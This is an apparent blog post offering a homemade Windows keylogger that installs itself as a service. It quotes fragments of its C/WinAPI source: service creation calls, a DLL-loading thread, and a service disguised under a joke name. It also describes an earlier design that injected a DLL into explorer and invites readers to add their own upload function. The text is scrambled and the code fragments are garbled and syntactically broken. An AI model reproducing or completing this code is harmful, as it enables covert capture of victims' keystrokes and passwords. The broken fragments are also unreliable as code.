GetCurrentDirectory(sizeof(currDir),currDir) Typedef void (WINAPI*Func)() //This will hold function from DLLĭWORD WINAPI ThreadLoadDLL(LPVOID lpParameter) #define WIN32_LEAN_AND_MEAN//Im dont have idea what this does but its look's great If (StartServiceCtrlDispatcher(ServTable) = 0) If (GetModuleFileName(0, prog_path, sizeof(prog_path)/sizeof(prog_path)) = strlen(prog_path)) SC_HANDLE serv_c_handle = OpenSCManager(0, 0, SC_MANAGER_CREATE_SERVICE) SC_HANDLE chk_serv = OpenService(check_serv_handle, service_name, SERVICE_QUERY_STATUS) SC_HANDLE check_serv_handle = OpenSCManager(0, 0, SC_MANAGER_CONNECT) Void WINAPI Handle_Controls(DWORD control_code) Ĭhar service_name = TEXT("Local Sex Daemon") Void WINAPI Create_Service(DWORD, CHAR**) ![]() * This is my new keylogger, runs as a Service */ Oh yeah and any dumb/skiddy shit you may do with this is not my fault. ![]() I didn't put an upload function or anything, but if you want to actually use it you can just do that yourself. However, I scrapped that because I was having issues with the restrictions associate with dllmain. At one point the actual service was a dll injector that injected explorer with a dll that then did the logging on DLL_PROCESS_ATTACH. Here is a simple keylogger I put together, I decided to post it because I thought it was a pretty good example of creating a windows service.
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |